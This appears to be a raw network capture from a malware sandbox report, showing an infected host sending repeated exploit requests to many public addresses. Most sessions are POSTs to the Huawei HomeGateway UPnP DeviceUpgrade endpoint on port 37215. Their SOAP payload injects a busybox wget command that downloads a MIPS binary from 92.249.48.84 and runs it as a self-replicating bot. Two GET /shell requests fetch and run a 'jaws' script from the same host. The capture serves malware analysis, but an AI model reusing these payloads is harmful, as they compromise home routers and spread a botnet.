73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	47458	197.161.220.113	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.374675035 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	55518	156.119.88.242	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.375291109 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	45532	156.94.217.87	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.375979900 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	33648	41.17.42.167	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.376959085 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	50870	41.147.168.3	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.378160954 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	50230	41.12.210.213	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.379250050 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	52496	197.107.94.66	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.380415916 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	41142	41.75.110.142	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.381680965 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	54174	80.16.214.233	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.881591082 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	48818	156.8.22.233	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.881917000 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	41770	18.28.241.145	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.883357048 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	52642	41.117.115.104	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.884515047 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 